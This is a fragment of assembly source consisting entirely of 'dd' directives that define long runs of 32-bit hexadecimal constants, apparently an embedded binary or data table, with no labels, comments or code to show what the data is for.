		dd 149075h, 115E2161h, 0E89F641Ah, 6A010490h, 0B3A06624h
		dd 11CF1722h, 115F3529h, 0B821ED47h, 94B0FE08h,	6A4C2889h
		dd 21CC2964h, 0DD12AEF5h, 0E97F2882h, 0E4276024h, 14314A78h
		dd 88E3DD08h, 0CB8865F4h, 14591B2h, 6B4DDE27h, 0C8D88A3Fh
		dd 2F60022h, 0E516FA14h, 6500577Eh, 2DD5DAC1h, 1DFDA2h
		dd 0F5867CECh, 0BE55A82h, 3382800h, 1544E66Dh, 3D7D0Eh
		dd 20FB4817h, 6F291CEEh, 6E00CD7Ch, 1F4490C0h, 7BE0D1h
		dd 6C2FE9C5h, 0B8F1765h, 51F69E0Bh, 32E700F5h, 0D2F3E4h
		dd 0E0633949h, 7C2DBB7h, 123D1C00h, 90BF2194h, 9E8C1F52h
		dd 5C350075h, 9795C76Bh, 993ABA00h, 0A153DC2Eh,	2C7E0608h
		dd 418F72C0h, 3B009690h, 964FD82Bh, 57D4D3h, 0C002AF5Ah
		dd 0CD8AE41Eh, 0F3ED6D00h, 50741914h, 52A5031Ah, 724239A4h
		dd 0AADD5B8h, 16A97D00h, 0B1EC1385h, 0E967014Fh, 0F84E51F7h
		dd 8099C165h, 2A77FD98h, 1CF2A912h, 7806605h, 80EB9C1Fh
		dd 0DCFB68B1h, 370034Ch, 24B58843h, 0C73806ACh,	50E366E6h
		dd 0B8A5FA00h, 0D2B167E2h, 0A7FC00BDh, 5331C82Bh, 0E6007FC2h
		dd 0FEEDDB30h, 0E33F05h, 0E15B2A3Dh, 11F260B5h,	76C9BD00h
		dd 952FFAB1h, 0D2BC00F1h, 0CA0F0357h, 543E7CC0h, 7659808Eh
		dd 0BB34FAE3h, 2C7F013Bh, 2C66A93h, 9677F838h, 1FC98D1Ch
		dd 3E49D400h, 1F02705h,	0B36AD92h, 0E816BEAAh, 0C0C0B9E3h
		dd 8F265FC1h, 47F000E1h, 30FD4F94h, 1E2C62B3h, 0A880901Ch
		dd 0BF03B511h, 536330FBh, 0E9E2B958h, 524B9500h, 3CFE3506h
		dd 283B3B2Bh, 7D0C1280h, 5D98ABF6h, 8AC4833Dh, 0ECDF460Bh
		dd 19FBFA00h, 0ECC288h,	0D8F5F2E7h, 0F7C81307h,	0F8621E05h
		dd 0A8006309h, 0A47B4359h, 1CD20035h, 0EBFF73D8h, 0B200FAD0h
		dd 3FC80362h, 7F7CE279h, 338700D3h, 367E6163h, 1F30B50Eh
		dd 620870D7h, 14A10BB4h, 58245FCCh, 4788092h, 8F013FD4h
		dd 0B77C4F8Dh, 0D20E134h, 0C4B4000Ch, 791741A7h, 0B000604Eh
		dd 0BF74BB50h, 69083Ch,	6D6A3FCFh, 29CC6594h, 0E701FB00h
		dd 0C0CD7EE3h, 0E0A7F32h, 0D01D40AAh, 45FB809Ch, 0D57611A0h
		dd 9E41E21Fh, 0BAFF97C1h, 5D6068FAh, 744200DBh,	0F91321D4h
		dd 0BB004CDFh, 0C7AC9245h, 7CB95Ah, 50C67059h, 0B620734Eh
		dd 80377F3Dh, 0D422B0BDh, 1B4CA1h, 0B3800EF9h, 0D796C220h
		dd 0F34738h, 30EFB664h,	0B897C5h, 1259A49h, 0ECB5674Bh
		dd 2B1B2202h, 408BCD61h, 2650DFF2h, 3D4E2035h, 0FF93DB00h
		dd 0E0B74C19h, 8E00A8E8h, 347AA3C2h, 0D7069Ah, 406178DCh
		dd 0D18D5986h, 221E3300h, 80DA4673h, 0B693004Eh, 1375A396h
		dd 2A0085F7h, 8AD41871h, 95C690h, 236F4F4Eh, 9A3FE101h
		dd 42987700h, 46DFE4D1h, 0AC3E5EDEh, 0F32150B2h, 3D86103h
		dd 7B55A9DDh, 1532006Ch, 595DB230h, 0D2009DE7h,	5C6BED39h
		dd 0EEDC83h, 0D3A493A6h, 7DE0716Ah, 604D48h, 0FA8A3527h
		dd 32D23BCh, 0F413D683h, 0AE9077A8h, 1E0265F5h,	3562395Ah
		dd 4E24406Dh, 3A980C05h, 8A106A76h, 68CFE800h, 67BCA90h
		dd 71400134h, 4E8E6BBFh, 0BBC7C07Ch, 3A2A6212h,	92BA440h
		dd 0D45E18F2h, 931FEB40h, 1F780004h, 6D1683BBh,	0AEBD4B00h
		dd 0FA2FCC0Ah, 0F04212D9h, 9EA500EFh, 0B5C63BB8h, 7FDFF400h
		dd 3A5B31CBh, 38DE0090h, 1829A793h, 41001BD6h, 0DD6532BCh
		dd 733E4FECh, 2D21006Bh, 146C5008h, 0FE1CD106h,	0DC642EADh
		dd 4D345E07h, 205CDC80h, 90E400C9h, 181C42DAh, 713ED811h
		dd 0BFE8928h, 574000ECh, 0F01A81h, 0E0AC4DFFh, 65EDB65Eh
		dd 283D3F04h, 0C0C03AA3h, 0A090E1h, 3EE2C9F9h, 0CFA27E6Ah
		dd 750207F8h, 58300977h
		dd 578C8F42h, 0CD520500h, 3E3BA8h, 0EA27FBA9h, 857D5E82h
		dd 0EBA6200h, 0BF45E129h, 31A9000Ch, 9A7CA594h,	5A0048B2h
		dd 37F590F9h, 0D4DC87h,	78D1CE56h, 1CBA6536h, 4E6D9200h
		dd 40CC6C7Dh, 0F68B815h, 61B767C2h, 955CEE20h, 0CF1E84A4h
		dd 0FD0DAC2Dh, 51C420F8h, 0C9D7006Ah, 0EA523970h, 88F00C91h
		dd 95FEA2F4h, 10B7D800h, 5C09F14Ch, 655200A3h, 324A3357h
		dd 3D008416h, 4ED31883h, 0FB05DACBh, 3E9FF420h,	6F80D898h
		dd 0AC486B1Bh, 0A5001E0Fh, 952DF107h, 233241h, 36084514h
		dd 183A9FA6h, 0A8425D00h, 7227734Ch, 0D9B10FA2h, 1A20F8B8h
		dd 0BC29A07Ch, 3071BF77h, 7463D507h, 20306A3Ah,	0EF3993Eh
		dd 910E1F28h, 0F8BD3B63h, 0F7711C07h, 0F111EC96h, 0CCF89B48h
		dd 95DD00EAh, 0CFF811C1h, 526932Bh, 9177001Ah, 0FBDA809Ch
		dd 0CB3384h, 5BECFDA9h,	16F2F762h, 0C2D3800Fh, 42D8A0A5h
		dd 3718CFh, 5BE3C911h, 0B8E8C730h, 1A863Ch, 2843A59Fh
		dd 2F10Ah, 19D1FCD3h, 0EDE40D44h, 0E1681400h, 2BF95F7Eh
		dd 8FD60B28h, 0FE80DD08h, 0D8F15A06h, 1800D098h, 954F252Fh
		dd 35E028Dh, 0A2CE5870h, 0AFC8BE7Ah, 93009E9Fh,	44328342h
		dd 34AA092h, 0A5CAF17Ch, 0CB80213h, 2A009C0Eh, 31C74B73h
		dd 1CAB771Ch, 4E997288h, 0A8CE08BEh, 0C21856C0h, 92070E4Fh
		dd 0E2A43EF8h, 0A3795080h, 4A9403F5h, 0B8547A66h, 0DC5870D2h
		dd 0C045A7Eh, 6407AE46h, 0FF7DC7FBh, 0A5CB6D80h, 1207471Eh
		dd 6EC6D0C2h, 409194F2h, 6996A9h, 43ECDAF7h, 1C85B951h
		dd 8008BF02h, 40CC563Eh, 4C219D98h, 300A8A4h, 575AF1CDh
		dd 0E80037C7h, 0B467330Ch, 452B5Ch, 0D7023A1Ah,	0E37E8926h
		dd 71DD3E00h, 2304ABEEh, 0C84B0EA4h, 0F763837h,	0FC8575EEh
		dd 0C0DC18F4h, 2D014E7Ah, 3E0D29Ah, 6FF83147h, 568A0793h
		dd 2E6AB245h, 0DE9C7BEh, 4A30E087h, 8297AD9Ch, 906250A9h
		dd 4C245FD4h, 0CB3040DCh, 4423DC0h, 550B2086h, 0CEFE1F00h
		dd 0FDCCE299h, 0C34C00EDh, 0A2A1B98Fh, 2D0022D5h, 1F153D0Eh
		dd 0FAFB48h, 3279B3A4h,	20AEB9A7h, 0CAC52800h, 2919F99Ch
		dd 2149AD1h, 4CF07623h,	0A9E0F691h, 9E0343E2h, 36A2BBA0h
		dd 0C27790B2h, 9C29009Fh, 95AA3F7Ah, 6F0159BFh,	0F96DCE0Eh
		dd 9C386127h, 0DDC97707h, 0B47BD1A6h, 13F0FFD8h, 0C60B4A23h
		dd 0A78E75h, 3D25EA78h,	6E0E0A32h, 40988CDDh, 49185BB5h
		dd 0CDBD1300h, 4D5E38D4h, 4817138Ch, 0C0F31EEBh, 0A3D055CCh
		dd 2998732Bh, 70578600h, 9A46A848h, 0DAE10F31h,	2301C4BCh
		dd 0E8F3175Ah, 0FC00D83Ch, 0EDFB6197h, 853AF5h,	35944A9Eh
		dd 0BF72397Eh, 3B4CE0F0h, 0DCDF016Ch, 7C5DD127h, 7B6E070h
		dd 0A1017163h, 24067D9h, 0C0E34BACh, 2DAACED0h,	6E55400h
		dd 0E0C361C5h, 11593C1Bh, 25D7758Bh, 1A80D80Eh,	0D88B0945h
		dd 0E91B8E16h, 9D384C01h, 0BADC825Eh, 76BD3B51h, 0CD36900h
		dd 0C8F1928Ch, 0C0E0E828h, 75FDBA02h, 40128F56h, 54F2E0h
		dd 0F79CBD7Ah, 1E62D6DDh, 805D203Ah, 0B9A6C555h, 0E853C4CAh
		dd 0CE0C00A4h, 34B96AEh, 6E1DD7D9h, 0DCC2127Ch,	783D2650h
		dd 15B50024h, 0A4EE75CFh, 6E515E60h, 16A9BDCh, 7C3690ACh
		dd 0CE320081h, 0E3EE4A6Fh, 9401BF97h, 0F65FC20Eh, 0CDC1DFFBh
		dd 1558F30h, 627BDDF0h,	0FC31BD16h, 0FF0B4C65h,	8F9149B3h
		dd 0C2A0700h, 0E3CF7FF0h, 5A950331h, 789AC155h,	91DA2000h
		dd 4AED888Bh, 0B9040048h, 0AF1E61E2h, 494CD5F1h, 9DAE00D3h
		dd 7F3B8838h, 0E4406F39h, 9A636280h, 0B3BB55Eh,	0D7D0804Fh
		dd 40A0D347h, 0C77816h,	7F156D0Fh, 0A90669C1h, 0F3904600h
		dd 5570DFC8h, 0E8BB006Fh, 7191AADCh, 43145F59h,	0F89804h
		dd 0F79957C4h, 13E6AEBh, 0DE473552h, 0C8AF912Fh, 0C067F30Fh
		dd 0D1C0701Eh, 0EC07328Bh, 21900169h, 87FA4304h, 5A58D8AEh
		dd 391F52C0h, 0A350B32h, 0A87A49B4h, 0F6C10024h, 1EFD4CECh
		dd 0CF57E903h, 80B1E5C4h, 0C3BF11h, 23E68695h, 0CE21A08Ah
		dd 0EE54A707h, 14105941h, 17B2DBA8h, 1D40D87h, 0DCC9B04Eh
		dd 4E52E06Ch, 90122300h, 0BFAF95FDh, 96637B40h,	0DEE61228h
		dd 74DA1DF8h, 0C9E90C40h, 28D720C7h, 24D89F2Fh,	0CB79B7h
		dd 1345A5BAh, 0AB00C7CAh, 89DF22F4h, 0E7245Eh, 83146150h
		dd 80B0AE3Fh, 0A032DE00h, 2BC7785Dh, 0D2BB0033h, 1E02E540h
		dd 0D000C1B3h, 0C244FF29h, 6D6A08h, 0D90B3506h,	0AD38A713h
		dd 0C69E5Ch, 8E82994Ch,	916C6Ah, 0E5FF61E7h, 5B30B173h
		dd 0F1CA85Ch, 4071BDFBh, 0D64D22D1h, 17D00C3h, 0BBBCEB75h
		dd 80A143B9h, 3443292h,	461F60C8h, 0E0CAAA1Ch, 6D9D03h
		dd 979D9FEh, 0EDE7E581h, 0B4524616h, 2FCB4040h,	3118FAh
		dd 7BA2D9DAh, 1FADF6B7h, 850BE898h, 9891FD5Ah, 5DD3A4E0h
		dd 4700D8B0h, 0E07AFFE6h, 0F7001F4Ch, 0EAFE1101h, 7445BA90h
		dd 0AADA004Bh, 501A72E2h, 0AC3AED68h, 49D480E5h, 5E2777C9h
		dd 5BF800A3h, 86F7A7BEh, 2F039BFBh, 0F14E4ADDh,	0E0A0E867h
		dd 8EC7Fh, 25C0BA07h, 4EBB632Eh, 0C3B7A900h, 0B1931EE8h
		dd 6AB60085h, 8E74E19Fh, 0D9EC2ABCh, 0AD94CE00h, 0C3F4934Dh
		dd 70300FDCh, 0A9603C52h, 0E524157Fh, 29F0517Dh, 950149E0h
		dd 144EC8FAh, 0C0EC1B73h, 0BC8B002Bh, 9098114Bh, 1A2E17A3h
		dd 0AF00C804h, 6760821Bh, 72A200F6h, 4F0F522Ch,	6A00B394h
		dd 0C8103F78h, 0E7D389h, 92322B29h, 0F1AB0688h,	4C1BDD00h
		dd 0E27E384Bh, 104D7726h, 49DDC42h, 0EEDA9287h,	0D840EAC7h
		dd 1D610F90h, 0FDC94DF5h, 4F0A9500h, 6D0333AFh,	1056A11Dh
		dd 0A9534183h, 22F5C191h, 0F8202283h, 4CF02CB8h, 0B0764968h
		dd 5CC8AF1Ch, 79DFD900h, 0D54A4Eh, 0EB25606Bh, 0E05841FDh
		dd 0A351F000h, 0ECD98ECDh, 262F0007h, 0C7EE909Eh, 0D5711819h
		dd 1359B00h, 0C67E0B47h, 7B733Eh, 0C134317h, 8138A8F4h
		dd 917522EAh, 75B49E64h, 8D43D8C0h, 13B72D24h, 0CCA028h
		dd 0C06E5677h, 210072D7h, 48F2659Dh, 0FA597Eh, 10E75B89h
		dd 6F41323Ah, 6A95D413h, 7120A507h, 0C091A152h,	0F6FDA7B4h
		dd 429001Dh, 8630CE5Ch,	0DF980A70h, 30008B4Ah, 0F6DA15B2h
		dd 0C4AC124Eh, 3CDC005Eh, 2AF205B6h, 72010CECh,	26A89A52h
		dd 0FAD43F6Ch, 8D854C48h, 2984007Fh, 6F1BEFBDh,	400A4D1h
		dd 9230E83Dh, 0E4E07Bh,	8D5B973Bh, 0FB9D3A4Ch, 0F41B5602h
		dd 0C80EDCF0h, 633004h,	8296BC4Eh, 3EA11592h, 8EAB7A00h
		dd 5438818Ah, 0FDEE00C3h, 168CD99Eh, 83001CCFh,	40DECB51h
		dd 0BB2964Dh, 8D751321h, 0EB466980h, 4B0003D5h,	0A417CCCEh
		dd 8425A1h, 6CEC7DD0h, 2B504926h, 96E00F28h, 9B55C401h
		dd 0BED6ABD8h, 88372180h, 2E0A3CFBh, 9E772700h,	0D7619F02h
		dd 0D23200CAh, 1B85F83Dh, 6B00BA9Dh, 0DB7943B3h, 22BE2Bh
		dd 13C8B23Bh, 60E3CB20h, 0D109D000h, 7EBB153Ch,	394900Ah
		dd 0C0BE074Bh, 9FC1E3E2h, 76602D8Fh, 0DBD40500h, 67B5647Dh
		dd 56C60032h, 7221029Ah, 4904DD47h, 0ACB4D998h,	0FCBCD890h
		dd 92F124EAh, 2F30094h,	3BCE1107h, 0C4E5830Bh, 0E20020D0h
		dd 7B5F81FFh, 0D1FE0152h, 9818832Fh, 61E1CC06h,	80863B3Fh
		dd 0E697D03h, 38DC7134h, 330082D4h, 97D97A5Dh, 0CE016460h
		dd 3D093092h, 1860C1AFh, 77C0004Fh, 6C0ABF85h, 3900B14Ah
		dd 0AF40CFBBh, 71583Fh
		dd 0E7055BEFh, 0DBA9BD7Ch, 0B6168800h, 61B49694h, 0D70C005Dh
		dd 5A7E58A5h, 82B0CF82h, 4CE60805h, 3087E243h, 20665DE0h
		dd 0FE57A57h, 0A2884BB8h, 9347DC40h, 0B9001A60h, 7C53DD1h
		dd 0A68E89h, 0FC668D09h, 1AE7AF39h, 96F43Dh, 516FD634h
		dd 9823C4Fh, 27DCEDB6h,	35EEAC00h, 9B00A03Bh, 0AAD3E126h
		dd 0CF97E7h, 0C66AE56Fh, 6058CE2Ch, 7F40BB0Ch, 15782Eh
		dd 7096B33Eh, 6AF783F4h, 59A7B000h, 0DE75A917h,	9B4216E9h
		dd 84981C2Ch, 0F009EF01h, 0B63C5FBCh, 44DC80C4h, 0A9F359E0h
		dd 8FCA00AEh, 0A62B4E36h, 830E65D2h, 174879C0h,	0FC67DC40h
		dd 0B9FFE0h, 14518016h,	6B6CD432h, 0ECC1B20Fh, 15E247CFh
		dd 9E99B120h, 0F41D0CBCh, 0D1AAB4F9h, 0D4453700h, 8687EBB8h
		dd 0C9BF0033h, 0B06650A1h, 7E00E4C3h, 0E7F7ED80h, 18C9922h
		dd 4FC10DB2h, 742D8A9Fh, 0C9021A9Ch, 5DE269AEh,	1EC05420h
		dd 579B00D6h, 0E88BB97Fh, 85849F03h, 0D8B5C298h, 180E925h
		dd 690751B2h, 0F4FC7346h, 0E801D142h, 1165ED02h, 388D17B4h
		dd 8048992Bh, 56784C68h, 2EFE3926h, 806C4648h, 11540561h
		dd 5700121Ah, 0EEDF3E6Fh, 78AC1CAh, 0AA9E554Ah,	0D1B01C3h
		dd 0DFCBD8ACh, 90004476h, 2EB487A8h, 0FE654933h, 577A001Ch
		dd 8ED116D3h, 0D6004231h, 0BFC90206h, 1DAF8C5h,	0FB1DF215h
		dd 0FC73CD36h, 0DF002670h, 96FFA324h, 3F19EF0h,	0D5ACAF7Ch
		dd 19C0875Bh, 38001F11h, 4E3BB03h, 93DB6FBh, 1D648B55h
		dd 0F16CD040h, 0A4317E01h, 0DCC5F87Fh, 0D86AAC53h, 1FE16808h
		dd 4118BE8Fh, 0BB953411h, 10E3F290h, 84FF46C0h,	177F7CF0h
		dd 0E2015C00h, 0FA09B34Bh, 31FE869h, 0FBEB3B1Ch, 8E05119h
		dd 4C051188h, 0A4E918C1h, 8243AC5Fh, 80162E38h,	90C68C8h
		dd 0ACA9855Dh, 3895DC58h, 0F3A78D0h, 5DE9CCC1h,	4056197Eh
		dd 5ECA0026h, 451E0153h, 0E073B3BEh, 57B900E2h,	3FAD003Eh
		dd 40FA17E7h, 0D13BA846h, 0ACCC0085h, 39A7786Dh, 0E6C00034h
		dd 0AF0619A6h, 7700155Ah, 296B6448h, 0B35942h, 385F4BB5h
		dd 3EF049FBh, 313DE873h, 0A88FCBA0h, 38CAABC0h,	8A044F2Bh
		dd 0F1360E93h, 302D60F0h, 0F2294D61h, 1201E5C7h, 5089DE72h
		dd 0C84084D1h, 7986884Ch, 0E428C1BDh, 41A2C24Bh, 4038FA30h
		dd 9E8FC1AAh, 0D799090Eh, 0A9F28C9Fh, 3FC00BD9h, 9E0160F8h
		dd 0FCC58BCEh, 5201CCF9h, 0AA6B073Ah, 2846559Ah, 6C34660h
		dd 0C1B53833h, 0F1308958h, 3FBBDA10h, 0A396561Ch, 62038CC1h
		dd 9C204474h, 3CEE14B2h, 8301CCFAh, 8D07C30Ch, 0D801CB71h
		dd 3149F83Ah, 1AC0D177h, 1884FC1Dh, 0F9B28150h,	0C901F9EFh
		dd 524D57C7h, 94407E3Ch, 249F19C5h, 250C355h, 89DAB736h
		dd 1F71C99h, 0E0243D3Ah, 0DE70007Eh, 5318BC2Fh,	0B25CB04Fh
		dd 1F8200A6h, 5D0A9085h, 2589275h, 0C08072C7h, 88449D60h
		dd 3DA0FC20h, 6A151A1Fh, 6D009008h, 7FD957B0h, 8AE6F795h
		dd 98F8053Bh, 0C32019F6h, 0D25700C8h, 0F170C9EDh, 0CA004781h
		dd 97C12778h, 0A907A29Fh, 0BC41FB4h, 9C920120h,	0ACD02BCAh
		dd 37B0DF23h, 4D268202h, 0BA0130A4h, 475E21C9h,	0B896B88Eh
		dd 0CAB4001Fh, 0BC4CF0B6h, 5A83C804h, 2C904961h, 18127160h
		dd 868D5E17h, 0B200DCC1h, 4DF1E107h, 0F0DDDE3Eh, 586709CAh
		dd 3017AB7Dh, 0D080F191h, 7914715Ah, 3B832100h,	82FD1EAFh
		dd 5DC9069h, 25687FC5h,	10FC409Fh, 6A9826C9h, 40680783h
		dd 40D9545Dh, 9EE7AE6h,	0DB96406h, 0CF91282h, 55F65CC1h
		dd 7F4C8850h, 99CB81CCh, 0BC4281DCh, 0BDD0848Bh, 92577067h
		dd 658CAD7Fh, 80C6216Eh, 32C1D815h, 0AC5A1400h,	9C6D31E5h
		dd 74C5240Eh, 0C20C9DE0h, 0E2D7CCC4h, 0AED4C60h, 18B1E8E8h
		dd 83B55300h, 0CCC15639h, 8EE132D8h, 0B7F221C0h, 99F6D83h
		dd 0DC9EC4BAh, 0B1755802h, 0A20F046h, 2EE8C451h, 0D422045Eh
		dd 0D0C1A8E8h, 48BC1A1Ch, 571AB270h, 22D87FDBh,	19F370h
		dd 5257CACDh, 0D854452Ch, 39390118h, 69981CFDh,	7D807A51h
		dd 0BE83E803h, 0ECA8F3A2h, 0F90B195Eh, 0D5B835h, 7EEFB5A3h
		dd 8CD40F43h, 5C603E10h, 82612FE6h, 5F7330B2h, 4ACD3B00h
		dd 30E422F3h, 0BDF80FA3h, 214038ECh, 0E2264275h, 0C547FB05h
		dd 0E880D16Eh, 484476DCh, 0C4233C95h, 0B03FB601h, 19BFC1h
		dd 3FBEDB50h, 3E018370h, 0CDB4B2FFh, 0A8E7230Bh, 4084632h
		dd 35E4153h, 0C1DC9285h, 0A57B130h, 2CCD7FE6h, 0C9CA589Ch
		dd 4F76570Bh, 52883001h, 1BAD3A74h, 0EC3C1A82h,	44CB50Ah
		dd 3583B104h, 0A0622156h, 14558A29h, 0E1C29A00h, 58A6562Eh
		dd 0F809ACEEh, 0D8214E97h, 603C4383h, 6040197Ch, 0A6DC093Dh
		dd 1C02B9A5h, 43198305h, 0A0B7E412h, 1E471300h,	388676Fh
		dd 0C54345F2h, 6032B0ECh, 30C8E08Bh, 36115B2Ah,	9A881956h
		dd 83B0D180h, 3BDC708Eh, 0A21877D2h, 3C7571F5h,	0E91FC500h
		dd 0B8EC48EFh, 5577079Ah, 10F2B60Eh, 61C7830Ch,	0B24088E2h
		dd 63811FF3h, 0D25C40ABh, 318D561Bh, 0BFDFDB00h, 0E31332B2h
		dd 0E48A1826h, 5255817Eh, 0C2CA0F00h, 0BEC68FD7h, 83461366h
		dd 0D4B4F408h, 0B2C78404h, 0D860F2Dh, 0FA6A2A39h, 70AF4FCh
		dd 0E1E7C366h, 9338435Ch, 0B805F7C0h, 265BCF16h, 0B9838420h
		dd 542000DAh, 680D7D04h, 9CA08C29h, 0BA1DB36Ah,	3204F62h
		dd 0B149DA2Ch, 903316C9h, 0F499D1h, 49BD9121h, 6175624Fh
		dd 21C69F04h, 5C801B56h, 1BA987Eh, 6E18BD01h, 0CA1F3C10h
		dd 2A288C60h, 2CCC1640h, 1DE8FD49h, 0D49268F4h,	0F93E2418h
		dd 0A1DAF9E7h, 65A20A0Eh, 0F4C7E678h, 2067F544h, 0A0B463A5h
		dd 257B2805h, 6480989Ah, 0E524C707h, 8CC25030h,	0DD57B402h
		dd 0C52CB57Fh, 0CCC78090h, 62B27E57h, 8884754h,	79EF2000h
		dd 4F2A8BFAh, 0FA709585h, 5A4A7412h, 0B8DC880Ah, 7A09C7C0h
		dd 988457F5h, 0DED5F00h, 9256E149h, 2DF82560h, 640674C1h
		dd 0C20A4862h, 40E0814Ch, 111AC9B9h, 6748FC7Ah,	19F54224h
		dd 9B7618h, 52ADE21Ch, 2D42EE55h, 0B710E09Bh, 6FA12C42h
		dd 386E0C1Ah, 4501EA48h, 0FE28A515h, 3C003F29h,	37B9F825h
		dd 0BB8E008Dh, 352608F5h, 0B4126E21h, 7C20327Bh, 533B7Fh
		dd 0A72A710h, 0D59EEEC1h, 0D92B3Ah, 30BCE243h, 34EB47Fh
		dd 5BD6A232h, 0C7A39F62h, 29162100h, 0C6A46C7Fh, 0F8DCF047h
		dd 287A8Ah, 798AD72h, 0DAC4E8A7h, 0D5B8C671h, 0BE4A0B07h
		dd 314CC703h, 0A48C07D1h, 60BD3593h, 0FD6F8550h, 0A07781ECh
		dd 3F5E9100h, 80138943h, 0C2E900D1h, 442A23C1h,	977499C9h
		dd 5CB89EFBh, 7F3B80A1h, 9F1A4EC5h, 20C34586h, 2B007FDDh
		dd 648E01D7h, 17A67FCh,	4429C6CFh, 0FC9B534Bh, 4006D192h
		dd 9F739343h, 7EDC2C38h, 25FF0081h, 1DD8F707h, 77E8F6ECh
		dd 0D65D21C0h, 708A2B16h, 0A5400ADh, 0A2EE1022h, 900026C3h
		dd 0CCE42E46h, 18DD3CAh, 3D4BD5F1h, 0EEEE4DCDh,	0D0438880h
		dd 8700E72Ch, 0F195E8D2h, 0F4A146h, 41D76B8Eh, 36FE5FA6h
		dd 0B803C577h, 932E133h, 136AC81Eh, 19A900CBh, 0F741DEC2h
		dd 2C0010F4h, 0C843DFD0h, 0EA25706h, 0A104409Fh, 33DBA460h
		dd 79C0D6EEh, 64DFFA02h, 8260393Fh, 8318638Eh, 8121FBECh
		dd 9CE00428h, 6253B21Ch, 0D2B45C00h, 3B9DDBA5h,	0A050631Ah
		dd 0F54208D9h, 46767F40h, 43F70h, 67A8842Ch, 7E6220h, 0D540CEFBh
		dd 99C1D305h
		dd 17869B00h, 62430860h, 6B6A0079h, 366764D0h, 0F4A8CA24h
		dd 9F002DAEh, 65BE9DB0h, 1E02CC6Eh, 944A7C48h, 0A000A0C6h
		dd 6BCA14CBh, 0E9C1C1C9h, 0AB4D27E3h, 61EEC080h, 0D36EE20Fh
		dd 807C2B48h, 3F3BC0BCh, 95290034h, 98CE7157h, 6D388FD0h
		dd 443D807Fh, 37CC9384h, 7AEC96h, 7E144808h, 4B54A33Ch
		dd 6B4F1D00h, 0A05C9D0Ch, 0C8421F9Ch, 0DCEB01B5h, 506F6E93h
		dd 538FCE88h, 83135870h, 0AA00C948h, 0F871E37Dh, 178E0243h
		dd 84C5E9Ch, 6C91B497h,	0C01CFD80h, 0A46049D2h,	0FF1A2519h
		dd 40E4A6B3h, 0CA18E7A1h, 3F18C2D8h, 90BC48A3h,	5AC087C8h
		dd 2125FB19h, 7A91F667h, 16D26100h, 47CF911Eh, 0DE2DA700h
		dd 0C73CB7C9h, 2F0B0AFEh, 80C4C4EEh, 0E2578406h, 311ED2A6h
		dd 27AE994h, 524EAF5Dh,	2E60419Fh, 0E0040518h, 83183F5Bh
		dd 0A220F532h, 2AE00Bh,	66E2F3C4h, 0EED474E9h, 8521D260h
		dd 372196h, 3263705Bh, 0B9D33678h, 31686E06h, 1295713h
		dd 0D62D0CE2h, 0F03DFB8Dh, 140299F4h, 30B7B603h, 8098625Eh
		dd 5D3FE3B4h, 9BA0A0F5h, 0CC132092h, 7357C915h,	0BF6B0C88h
		dd 612B59C8h, 0D32C61D4h, 0F6E9C4E4h, 0DD08EF07h, 4CB6DADh
		dd 9CD040A8h, 198AFA3h,	0B79FCD39h, 8C97C6A2h, 20E31708h
		dd 98880002h, 8136AC15h, 42001A30h, 4161ECA8h, 0A72E78Dh
		dd 442E33CDh, 9C3111A4h, 3F5AE001h, 0C60C82F0h,	4029788h
		dd 530D59E0h, 0B904969Fh, 2308DC48h, 196400B1h,	0F7B725FDh
		dd 63724486h, 0B2195C0Ch, 7C5A0CE7h, 58C90C7Eh,	91204596h
		dd 2DA091F7h, 0A441392h, 0C4F4100Ch, 6A340F0h, 32691E0h
		dd 31846BF2h, 8EDC644Bh, 0C0FB8818h, 625F3034h,	0CCB00C05h
		dd 0C0414118h, 6E8F4746h, 24539C60h, 0A4E8401Dh, 8E690518h
		dd 63EC20EEh, 700F928Dh, 635E5A5Ch, 797FE278h, 0F0566138h
		dd 2448E57h, 0C0986D07h, 47408109h, 0FAB75000h,	0CEF78E62h
		dd 0EC5B5910h, 462F730Ah, 608D44D0h, 230116D8h,	7311D726h
		dd 16D05F00h, 0B5899A49h, 84F54E3Dh, 0B9D0FD6h,	0B02FFCC2h
		dd 38DFFEA8h, 224644D8h, 89D00EEh, 75B9B7E0h, 0DF7F9625h
		dd 3A93A93Ah, 949C249Fh, 37E61E05h, 0D2D78C01h,	89891358h
		dd 0D090C16Bh, 5118A34Bh, 0FB30800Fh, 22C915E9h, 9453CC59h
		dd 0A0330FA2h, 508F70C8h, 521D9869h, 1413E822h,	0D037105Eh
		dd 0D09EED0Bh, 7F3790B0h, 3A4EB111h, 1597C088h,	0BDF3A003h
		dd 0EF0970Bh, 0AF52D45h, 0C1DA254Dh, 6FAE03A4h,	78006AF7h
		dd 0FEE81E1Ch, 9ABBBFBh, 2E679B5Dh, 5714B021h, 7859AC48h
		dd 8044D214h, 4EC37F39h, 229F430Ah, 32171DC8h, 0E7C90A7Fh
		dd 2AC3408Ch, 44B8EE38h, 0B4676E2Ah, 0ED834100h, 4F8F1AFEh
		dd 0FBF50073h, 5D4DC9CAh, 0EF500BBAh, 28C01B0h,	0CD3B98B9h
		dd 1219B84Fh, 98B20C10h, 0DD99EE02h, 0C72E6B57h, 6077C41Ch
		dd 3CB4475h, 672F043Fh,	0E0049239h, 48853B45h, 0CD362080h
		dd 0A2072810h, 0DC0C3FA8h, 2D2ECC8Fh, 80F81496h, 8C6CE8h
		dd 63DFB772h, 10442693h, 4044E55Dh, 48CD1C4h, 4EB87F34h
		dd 2DEC3912h, 0DD04097Fh, 189038ECh, 0D10F8657h, 449CBED7h
		dd 7497EDC2h, 6E625057h, 0C81440F2h, 4B1F2048h,	7A16FB78h
		dd 2801AAA3h, 1AD9B8C3h, 338C2824h, 0DBA1DD4Bh,	0ED4D7906h
		dd 3020E122h, 731985EEh, 70523DB4h, 0E29BF1E8h,	1C00E00Ch
		dd 71D74CD4h, 72E45719h, 120D317h, 12C58A30h, 631081D0h
		dd 0A4F94FC1h, 0E482D044h, 2A2223CAh, 0FC11EFD0h, 0B1648C01h
		dd 0E23FC6F6h, 41006213h, 652BC125h, 0D7F196h, 2EF77301h
		dd 0E7854164h, 10C6D8A8h, 0D3003892h, 0CB15526Ch, 4E0F08h
		dd 77A8B487h, 3874BBA2h, 16CE7A00h, 50AE3BE8h, 0E185EF9Eh
		dd 44D05814h, 90A37398h, 0ABCD2700h, 28916A00h,	92E803E5h
		dd 29AC2CDFh, 0D128A99Ch, 0FA187Ah, 0CA36277Eh,	0CB8E9415h
		dd 0F94CC530h, 5F9994Fh, 6718D1EAh, 0CBD48C9Bh,	0D0D59F3Fh
		dd 70F095A4h, 8794B24h,	0E0207417h, 0A778B1h, 5CB27B21h
		dd 525D4AE5h, 24B00E5Ch, 1DA50C40h, 87C111F4h, 0F07C36B3h
